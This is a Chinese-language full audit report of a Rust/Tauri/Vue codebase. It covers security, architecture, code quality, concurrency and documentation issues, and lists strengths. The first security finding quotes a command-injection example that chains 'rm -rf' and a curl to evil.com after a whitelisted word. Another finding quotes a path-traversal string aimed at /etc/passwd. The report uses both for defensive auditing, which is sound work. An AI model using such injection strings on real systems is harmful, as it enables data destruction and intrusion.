# 全量走查报告（2026-06-28）

> 范围：全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系
> 方法：4 角度并行（安全/并发可靠性/架构设计/代码质量），每条结论基于实际代码核实
> 原则：dry — 仅审查 + 文档，不改代码。误判项明确标注证据

---

## 🔴 安全

### ① ScriptNode — 白名单仅校验首词，shell 元字符可绕过

**文件**: `crates/df-nodes/src/script_node.rs:46-54`

```rust
let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();
```

`check_command_policy` 只比对首词，剩余参数原样传入 `sh -c` / `powershell -Command`。攻击场景：工作流 JSON 写 `"command": "git log; rm -rf /tmp/x; curl evil.com"`，首词 `git` 命中白名单即放行，`;` `&&` `$()` 全部被 shell 解释执行。默认 `DF_SCRIPT_WHITELIST` 未设置时完全无防护，仅靠 `dangerous_keywords` 告警（不阻止）。

**建议**：① 默认启用黑名单（至少挡 `rm`/`del`/`format`/`shutdown`）；② 对工作流 JSON 来源做信任链校验。

### ② MCP server 完全无鉴权

**文件**: `crates/df-mcp/src/server.rs:37-44` + `crates/df-mcp/src/lib.rs:11`

注释明示「无认证（依赖本地隔离）」，但 Windows 上同用户权限的进程（Office 宏、浏览器 RCE 沙箱逃逸后）均可向 stdin 发 `tools/call create_project` / `bind_directory` 等工具调用。`bind_directory`(Medium) 可绑定任意路径让后续工具误以为已授权。

**建议**：启动生成 ephemeral token 写入应用 KV，Tauri CLI 子命令传 token，每条 `tools/call` 校验。

### ③ `bind_directory` 路径检测不一致

**文件**: `crates/df-mcp/src/tools.rs:328`

MCP 端 `bind_directory` 仅做 `path.contains("..")` 子串检测，会误伤 `my..file`，且对 `/etc/.ssh/../../etc/passwd` 这类绕过场景不可靠。而 `src-tauri/.../tool_registry.rs:114-145` 的 `validate_path` 已实现分段 `..` 检测——两端不一致。

**建议**：MCP 端复用 `validate_path` 的分段检测逻辑。

---

## 🔴 架构

### ④ AI 核心状态机焊死在 src-tauri，df-ai 名不副实

**证据**：
- `src-tauri/src/commands/ai/mod.rs` 定义 `AiSession`、`PerConvState`、`AiChatEvent`、`SessionState` 等
- `src-tauri/src/commands/ai/agentic/mod.rs` 实现 `run_agentic_loop`
- `df-ai` crate 仅保留 Provider HTTP 实现 + `coordinator.rs`(空壳) + `intent/planner`(未接入)

ARCHITECTURE.md §5.4 把 AgentCoordinator/ContextManager 描述为 df-ai 职责，实际 agentic loop 跑在 Tauri binary。df-ai 无法被复用（做 CLI/测试），AI 状态机没有独立 crate 级单测。

**建议**：把 AiSession/agentic loop 抽到 df-ai 或新建 df-ai-session crate。

### ⑤ df-project / df-ideas 伪分层

**文件**: `crates/df-project/src/manager.rs`（全文 ~80 行，仅 2 个工厂函数）

`ProjectManager::create` / `create_from_idea` 只构造实体不落库。实际项目 CRUD/状态推进/软删全在 `df-storage/src/crud/project_repo.rs`，`commands/project.rs` 直接调 `ProjectRepo` 完全绕过 `ProjectManager`。领域层"不依赖 storage 保持分层"形同虚设。

**建议**：要么删除 df-project，要么真正把领域规则下沉进去。

### ⑥ TaskStatus 两套并存

**证据**：
- `crates/df-types/src/types.rs:170` 定义 `enum TaskStatus` 含 `as_str`/`from_db_str`/`is_valid`
- `crates/df-nodes/src/task_state_machine.rs:33-56` 又定义 7 个字符串常量 + `is_valid_state`

注释自称"严格对齐"但靠人工维护，任何一方改字符串编译器不报错。df-types 的 enum 形同摆设。

**建议**：让 task_state_machine 基于 TaskStatus enum 实现，字符串边界只留 IPC/DB 序列化层。

### ⑦ IPC 错误拍平为 String，结构化信息全失

**文件**: `src-tauri/src/commands/mod.rs:26` `pub fn err_str<E: ToString>(e: E) -> String`

df-types/error.rs 精心设计了 11 个变体（`NotFound`/`Validation`/`InvalidState { current, expected }` 等带结构化字段），但跨 IPC 边界时 `.to_string()` 一律拍平。前端只能拿到字符串，无法分辨 NotFound vs Validation vs InvalidState，无法做差异化处理（如 NotFound→跳转列表 vs InvalidState→提示冲突）。

**建议**：IPC 错误用 serde 序列化的 enum（`{ kind, message, ...fields }`），前端按 kind 分支。

### ⑧ 配置四源并存，relay token 两端契约不一致

**证据**：
- 环境变量：`DF_RELAY_TOKEN`（relay 端缺失 panic）/`DF_SCRIPT_BLACKLIST`/`DF_SCRIPT_WHITELIST`
- DB KV：`app_settings` 表
- AppState 内存：AtomicU64/Usize
- 硬编码常量：`src-tauri/lib.rs:186` `token = "devflow-relay-default-token"`（与 relay 端强制 env 不一致）

桌面端硬编码默认 token，relay 端 panic 强制 env——忘设 env 时桌面端用默认 token 连不上。

**建议**：建立分层 Config 单例（env > app_settings > 默认常量），跨 crate 共享。

### ⑨ 文档与代码严重失步

**证据**：
- ARCHITECTURE.md §4 写 `df-core/` —— 实际是 `df-types`
- PROGRESS.md §二/§三 同样写 df-core
- docs/01-技术文档/SQLite-CRUD模式.md:79 引用 `crates/df-core/src/error.rs`
- PROGRESS.md Sprint 15/17 把 knowledge 模块归属 `df-evolve`（已移除）
- ARCHITECTURE.md §4 crate 树漏列 `df-types`/`df-mcp`/`df-ai-core`/`df-relay`/`df-tunnel`，crate 数量描述"9 crate"vs 实际 12

**建议**：批量替换 df-core → df-types，更新 crate 树与规模表。

---

## 🔴 代码质量

### ⑩ useAiEvents — 终止收尾逻辑三处复制粘贴

**文件**: `src/composables/ai/useAiEvents.ts:569-737`

`AiCompleted` / `AiError` / `AiHelpRequired` 三个 case 重复执行同一套「会话终止收尾」逻辑（clearStreamWatchdog / clearAllToolSlowTimers / flushCurrentText / setStreaming(false) / state.currentText='' / state.agentRound=0 / 清 pendingMaxRounds / 清 pendingDirAuths / 4×localStorage.removeItem），共 ~10 步骤在三个分支逐行复制。

**建议**：抽 `cleanupTerminatedConversation(convId, reason)` 公共函数。

### ⑪ Store 错误处理样板重复 38 处

**证据**：`src/stores/knowledge.ts` 单文件 10 次，加上 ideas.ts/projects.ts/tasks.ts 各 4-7 次：

```ts
try { state.xxx = await api.xxx(...) }
catch (e: any) { state.error = e?.toString() ?? t('xxx.err.xxxFailed') }
```

**建议**：抽 `runWithCatch(state, i18nKey, fn)` 工具。

### ⑫ idea_repo.rs — 注释承诺的测试不存在

**文件**: `crates/df-storage/src/crud/idea_repo.rs:24-25, 43-44`

注释明示「任一处加列漏改会被测试 `test_knowledge_cols_matches_record` 立即捕获」，但全 workspace grep 零匹配。`KNOWLEDGE_COL_COUNT` 带 `#[cfg_attr(not(test), allow(dead_code))]` 说明设计意图是给测试用，但测试从未写。属真实「文档撒谎」。

**建议**：补 `#[test] fn test_idea_cols_matches_record()` 或改注释。

### ⑬ df-relay 完全无测试

`df-ai` 332 测试、`df-storage` 133 测试、`df-nodes` 86 测试，但 `df-relay` 0 测试（无 tests/ 也无 #[cfg(test)]）。relay.rs 442 行连接生命周期 + token 配对 + 广播分发逻辑零回归保护。

**建议**：至少补 ConnRegistry / token 配对 / ControlMessage 路由的单测。

---

## 🟡 并发与可靠性

### ⑭ SQLite 单连接 Mutex 串行化

**文件**: `crates/df-storage/src/db.rs:13-16`

```rust
pub struct Database { conn: Arc<Mutex<Connection>>, }
```

所有 Repo 共享同一连接。注释自承 `TODO: 考虑使用 r2d2 连接池`。功能性正确，但 AI 对话高峰（多 tool_calls 并发 + SSE 落库）下 DB 操作排队，体验性下降。

### ⑮ EventBus broadcast 容量与 Lagged 处理

**文件**: `crates/df-workflow/src/eventbus.rs:16` + `crates/df-nodes/src/human_node.rs:134-141`

容量 256 + `WorkflowEvent` 混入 AI 流式增量 → 高频场景订阅者 Lagged → `human_node.rs:134` 的 `continue` 策略可能漏自身 Response → HumanNode 等到超时。

**建议**：流式增量与审批响应分总线，或 Lagged 显式重发。

### ⑯ run_migrations 持有 tokio Mutex 守卫

**文件**: `crates/df-storage/src/db.rs:48-53`

V21 大表迁移期间所有其他 DB 操作 await 在锁上。一次性启动开销，但属不必要串行点。

### ⑰ task_link_repo.rs 注释误导

**文件**: `crates/df-storage/src/crud/task_link_repo.rs:116-138`

注释「检测与插入非原子」不准确——实际 BFS 与 INSERT 在同一 `blocking_lock` 守卫内，锁串行化了 TOCTOU 窗口，已闭合。注释应更新。

### ⑱ relay 默认监听 0.0.0.0

**文件**: `crates/df-relay/src/main.rs:17`

token 鉴权在，但默认监听所有网卡，云服务器部署若防火墙未配公网可访问 WS 端点暴力猜 token。

**建议**：默认改 127.0.0.1，外部访问显式 `DF_RELAY_ADDR=0.0.0.0`。

---

## 🟡 代码简洁性

### ⑲ 大文件未拆分

- `src/components/ai/MessageList.vue` 1552 行（style 441 + script ~1100）
- `src/views/IdeaDetail.vue` 926 行（style 481 + script ~300，四域逻辑）
- `crates/df-storage/src/crud/idea_repo.rs` 1500 行（IdeaRepo + KnowledgeRepo + KnowledgeEventsRepo + 向量工具）
- `crates/df-nodes/src/human_node.rs` 831 行

**建议**：MessageList 抽 MessageBubble.vue；IdeaDetail 拆 IdeaScorePanel/IdeaAdversarialPanel；idea_repo.rs 拆三文件。

### ⑰ 组件内 toast 状态重复

**文件**: `src/views/Settings.vue:103-112` + `src/components/AiChat.vue:183-191`

两个根组件各自维护 toast reactive + showToast，逻辑完全一致。

**建议**：抽 `composables/useToast.ts`。

### ㉑ TS any 滥用集中在 catch 和跨层透传

48 处 `: any`/`as any`：
- **类型 A**（38/48）：`catch (e: any)` → 改 `unknown` + 类型守卫
- **类型 B**：跨层 `as any` 透传未声明字段（useAiEvents.ts:687、useAiConversations.ts 多处、MessageList.vue:498）

**建议**：补完 api/types.ts 真实字段（AiMessage.errorType、Message.status）；defineExpose 建 interface。

### ㉒ AgentCoordinator deprecated 空壳

**文件**: `crates/df-ai/src/coordinator.rs`

已标 `#[deprecated]`，全 workspace 零调用，但仍 `pub mod coordinator` 暴露导出。

**建议**：`#[cfg(feature = "multi-agent")]` 隔离或删除（git 历史可找回）。

### ㉓ planner.rs 11 处 #[allow(dead_code)]

builder API（SubTask::new/with_tools/with_deps/with_group 等）当前零调用，全是预留。建议加 reason 集中说明或 feature flag 隔离。

### ㉔ app_settings KV 无 schema

`SettingsRepo::set(key, value)` 无 key 白名单（除 allowed_dirs），新增配置需前端+IPC+KV 三处硬编码对齐。建议加 SettingKey enum 集中定义。

### ㉕ 视图 CSS 重复 + tags 解析重复

- Dashboard/Projects/Ideas/Knowledge 四视图各自定义 `.btn`/`.btn-primary` scoped 样式（项目已有全局 `styles/components.css`）
- Ideas.vue:302 + Knowledge.vue:321 相同 tags 拆分逻辑

**建议**：CSS 收敛到全局；tags 解析抽 `parseTagsInput`。

---

## 🟡 文档

### ㉖ AI对话引擎文档工具清单过时

**文件**: `docs/03-模块文档/AI对话引擎-2026-06-14.md §四`

标题自称 12 个，表格 13 行，与 `df-ai-AI集成模块.md` 的 22 个严重对不齐。缺失 `run_command`/`patch_file`/`list_trash`/`file_info`/`search_files`/`delete_task`/`restore_project`/`purge_project`。

### ㉗ INDEX.md 漏索引 9 个文档

| 子目录 | 漏列数 | 典型遗漏 |
|-------|-------|---------|
| 专项设计 | 7 | AI原生上下文地图、AST符号解析、插件机制、查询能力补全方案、项目知识图谱 |
| 已编号方案 | 2 | F-260622-01-跨端AIChat-Phase3联调、消息级溯源P2-切读方案 |
| 构想审查 | 1 | 跑题改进试验记录 |
| 根目录 | 2 | 单对话并行多轮-Phase0落地路线图、单对话并行多轮-设计 |

### ㉘ 死链

**文件**: `docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md:4`

`[任务推进设计](任务推进构想-2026-06-14.md)` 解析到专项设计目录下不存在，应改为 `../构想审查/`。

### ㉙ ARCHITECTURE.md §七 + 新设计文档 SSOT 违反

YAML 模板（52行）、AgentPersona struct（11行）、三层定义表、实例化流程大段逐字重复。建议 ARCH 仅保留概要 + 引用链接。

### ㉚ ARCHITECTURE.md ~100 行已移除模块残留

§5.4 保留 df-task/df-traceability 的 Task 生命周期图、分支策略、标注系统、Decision struct 详细设计。建议移至归档。

### ㉛ ARCHITECTURE.md 状态过时

L3 `状态: 设计阶段` 与实际 Phase 2 验证阶段不符，应与 `docs/INDEX.md` 一致改为 `Phase 2 本地优先开发流程验证`。

---

## ✅ 亮点

### ① df-ai/df-ai-core trait 下沉（F-01）
df-ai-core 零 HTTP 依赖（仅 5 个依赖），df-ai 保留 reqwest/eventsource-stream。df-ideas 等轻消费方只引 df-ai-core。**真实落地的解耦**。

### ② df-mcp advance_task 复用 df-nodes 状态机
MCP 与 IPC 都走 `df_nodes::task_advance_node::advance_task_atomic`，推进链三层校验（is_valid_state/can_transition/CAS/regression bump）唯一实现。Cargo.toml 注释明确「避免 MCP 直调底层绕过状态机」。

### ③ keyring 密钥下沉 + 迁移补偿
secret.rs 三阶段回落（DB明文→OS keyring→空），`migrate_secrets_to_keyring` 启动一次性迁移，失败计数达阈值升级 warn。`AiProviderRecord` 自定义 Debug 把 api_key 脱敏为 `"sk-****"`。

### ④ SanitizedPath newtype 强类型
`df-types/src/augmentation.rs:29` `pub struct SanitizedPath(String)` 强制所有注入 LLM 的路径经 sanitize 入口，防裸 String 误用。

### ⑤ 取消路径 TOCTOU 三层防护
state.rs:106 set_cancelled 作为唯一受控旁路 + executor.rs:180-226 双重检查 + HumanNode select! 轮询。注释详细记录时序窗口。

### ⑥ SQLite WAL + spawn_blocking 正确
所有 DB 操作在 spawn_blocking + blocking_lock 中，无 sync rusqlite 在 async 裸调用；批量用事务原子提交；WAL 模式读写不互斥。

### ⑦ 重试机制工业级
retry.rs ±50% jitter（rand::thread_rng）+ 错误分类（Ok/Retryable/Fatal）+ 总预算止损 30s + 流式不重试。complete() 两处接入，单测齐全。

### ⑧ kill_on_drop + Windows CREATE_NO_WINDOW
shell.rs:147,154 — 超时 future drop → Command 析构 → kill 子进程；Windows 黑窗抑制。

### ⑨ TaskStatus is_valid 单测覆盖
df-types/types.rs:437-477 测试了拼写错误/大小写/空白/SQL 注入/中文近义等边界，valid_values_all_pass_is_valid 锁定清单一致性。

### ⑩ SSRF 防护完整
http.rs:50-208 私网 IP 黑名单 + DNS rebinding 防护（多 A 记录全检）+ 重定向 ≤3 跳每跳重新校验 + body 截断 50KB。

### ⑪ V21 大版本迁移谨慎
BATCH_SIZE=50 分页 + 空库跳过 + 坏数据 skip 不崩溃 + column_exists 守卫 ALTER TABLE。

### ⑫ 前端 composable 已大范围抽离
src/composables/ai/ 已拆 14 文件，AiChat.vue 从巨型组件瘦身到 767 行聚合容器。Settings.vue 已 master-detail 重构（8 个子 Section/Panel，309 行壳）。

---

## 📊 汇总

| 分类 | 🔴 | 🟡 | ✅ |
|------|----|----|----|
| 安全 | 3 | — | — |
| 架构 | 6 | — | — |
| 代码质量 | 4 | — | — |
| 并发可靠性 | — | 5 | — |
| 代码简洁性 | — | 7 | — |
| 文档 | — | 6 | — |
| 亮点 | — | — | 12 |
| **合计** | **13** | **18** | **12** |

**总体评价**：核心安全架构扎实（SQL 注入防护、keyring 密钥、SSRF 防护、取消 TOCTOU、重试工业级），前端架构演进健康（composable 大范围抽离、Settings 已 master-detail 重构）。

主要问题集中在：
- **架构债**：AI 核心状态机焊死 src-tauri（#4）、df-project 伪分层（#5）、文档严重失步（#9）
- **代码质量**：useAiEvents 三处复制粘贴（#10）、Store 错误处理 38 处重复（#11）
- **安全细节**：ScriptNode 元字符绕过（#1）、MCP 无鉴权（#2）

优先修复建议：① 修文档（#9 成本极低）；② 补 df-relay 测试（#13）；③ ScriptNode 默认黑名单（#1）；④ 抽 useAiEvents 公共函数（#10）。
